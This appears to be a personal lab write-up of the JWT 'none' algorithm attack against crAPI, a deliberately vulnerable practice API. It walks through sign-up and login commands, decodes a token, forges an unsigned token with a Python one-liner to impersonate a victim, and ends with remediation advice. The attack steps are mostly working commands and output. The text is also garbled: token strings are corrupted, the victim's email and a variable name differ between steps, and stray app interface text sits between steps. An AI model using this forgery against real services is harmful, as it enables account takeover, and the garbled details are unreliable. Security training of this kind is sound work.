

JWT ATTACKS :

JWT(Json Web Token) is primarily use for authentication,authorization and secure information exchange in modern web applications. They are often used in OAuth2 flows,API access,stateless session handling and SSO implementations.

JWT consists of three parts , separated by dots:

HEADER.PAYLOAD.SIGNATURE

HEADER: Defines the type of token and the signing algorithm (e.g. HS256).

PAYLOAD: Contains claims about the user, session, or other data (e.g. {"user": "user1", "admin": false}).

SIGNATURE: A cryptographic signature that ensures the token hasn't been tampered with.

Each part is base64url encoded and concatenated with a dot:

Ex : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJzdWliOiJ1c2VyMSIsImFkbWluljpmYWxzZX0.

X5cBA0kIC0df_vxTqM-M1WOUbE8Qzj0Kh3w_N6Y7Lkl

JWT Attacks :

1) None Algorithm attacks :

A JWT None Algorithm attacks occur when a server incorrectly accepts JWT whose alg is set to none.

Like in header value :

Ex : { "alg": "HS256","typ": "JWT" }

An Attacker change header to none :

```
{ "alg": "none", "typ": "JWT" }
```

The token then effectively has no cryptographic signature. If the server accepts this token without properly enforcing signature verification, it may trust attacker-controlled claims.

Steps to perform in crAPI (Manually):

1) lets create a two user account : an attacker and a victim

```
mukund@mukund-Inspiron-14-5430:~$ curl -X POST http://crapi.local:8888/identity/api/auth/signup -H "Content-Type: application/json" -d '{"name":"attacker","email":"attacker1@gmail.com","number":"2828232828","password":"attacker1@M"}'
```

```
mukund@mukund-Inspiron-14-5430:~$ curl -X POST http://crapi.local:8888/identity/api/auth/signup -H "Content-Type: application/json" -d '{"name":"attacker","email":"victim99@gmail.com","number":"2828222828","password":"victim1@M"}'
```

2) Login in attacker account to get JWT token :

```
mukund@mukund-Inspiron-14-5430:~$ curl -X POST http://crapi.local:8888/identity/api/auth/login -H "Content-Type: application/json" -d '{"email":"attacker1@gmail.com","password":"attacker1@M"}'
```

3) Set this as environment variable :

mukund@mukund-Inspiron-14-5430-\$ JWt="eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhdHRhY2tlcjlFAZ221haWwV29tIiwiaWF0IjoxNzg3MjE1MzQ5LCJleHAiOjE5ODc0MjAxNDksInRvbmUiOiJlcnVyaW8uGEYpZVesr8VDJXcZII76e2ZsvEbhu6AG4TQ4n_sXAy8M03hX9_9gW5V9AfgkUWovkvqZ_754bQaxml5RPOXCHUHerp0oPKCLMD0hsV4MbID3IEZBd6z88PjdT_C-V8tAmjzb0CcqjJN-V3lbk4T45CYbZou6ONAAbsSzqn5in-Mh_3Q2LuS1PCypJgHwainDi2c731szSL2NT9mU10xnmAqe61GNZE- JgnT45vYafzKq_07Mc7dqdtKeTpksBNW-gJvlImccpVO3ag6xhi2Pa4-Zihf16P55cUb5fSKLbxvFzWS0n6YJAKzYTCsJboE2erWGL0mEXGVHo"

4) Decode the JWT :

1. Decode the header :

```
mukund@mukund-Inspiron-14-5430:~$ echo "eyJhbGciOiJSUzI1NiJ9" | base64 -d
{"alg": "RS256"}mukund@mukund-Inspiron-14-5430:~$
```

2. Decode the payload :

```
mukund@mukund-Inspiron-14-5430:~$ echo "eyJzdWIiOiJhdHRhY2tldjFAZ21haWwY29tIiwiaWF0IjoxNzg3MjE1MzQ5LCJleHAiOiE3ODc4MjAxNDksInJvbGUiOiJ1c2VyIn0" | base64 -d
{"sub": "attacker1@gmail.com", "iat": 1787215349, "exp": 1787820149, "role": "user"}base64: invalid input
```

5) Verify the real token works :

```
mukund@mukund-Inspiron-14-5430:~$ curl http://crapi.local:8888/identity/api/v2/user/dashboard -H "Content-Type: application/json" -H "Authorization: Bearer $JWT"
{"id":31,"name":"attacker","email":"attacker1@gmail.com","number":"2828232828","picture_url":null,"video_url":null,"video_name":null,"available_credit":100.0,"video_id":0,"role":"ROLE_USER"}mukund@mukund-Inspiron-14-5430:~$
```

6) Create a forge token to impersonate victim :

```
mukund@mukund-Inspiron-14-5430:~$ python3 -c "
import base64, json
# Use separators=(',', ':') to remove spaces
h = base64.urlsafe_b64encode(json.dumps({'alg': 'none', 'typ': 'JWT'}, separators=(',', ':')).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps({'sub': 'victim92@gmail.com', 'role': 'user'}, separators=(',', ':')).encode()).rstrip(b'=').decode()
print(f'{h}.{p}.')
"
```

vehicles Details

+ Add a Vehicle

No Vehicles Found

Please check your email for the VIN and PIN code of your vehicle using the

7) Use forged token to get victim dashboard content :

```
mukund@mukund-Inspiron-14-5430:~$ FORGED="eyJhbGciOiJub25lIiwidHlwIjoIc2VyIn0.eyJzdWIiOiJ2aWN0aW05Mk8nbWVpbC5jb20iLCJyb2xlIjoIdXNlciJ9."

curl http://crapi.local:8888/identity/api/v2/user/dashboard \
-H "Authorization: Bearer $FORGED" \
-H "Content-Type: application/json"
{"id":34,"name":"victim","email":"victim92@gmail.com","number":"1763367891","picture_url":null,"video_url":null,"video_name":null,"available_credit":100.0,"video_id":0,"role":"ROLE_USER"}mukund@mukund-Inspiron-14-5430:~$
```

Remediation :

- Explicitly allow only expected algorithms, such as HS256 or RS256.
- Never accept alg: none for authenticated tokens.
- Always verify the JWT signature before using its claims.
- Use up-to-date JWT libraries and secure verification APIs.

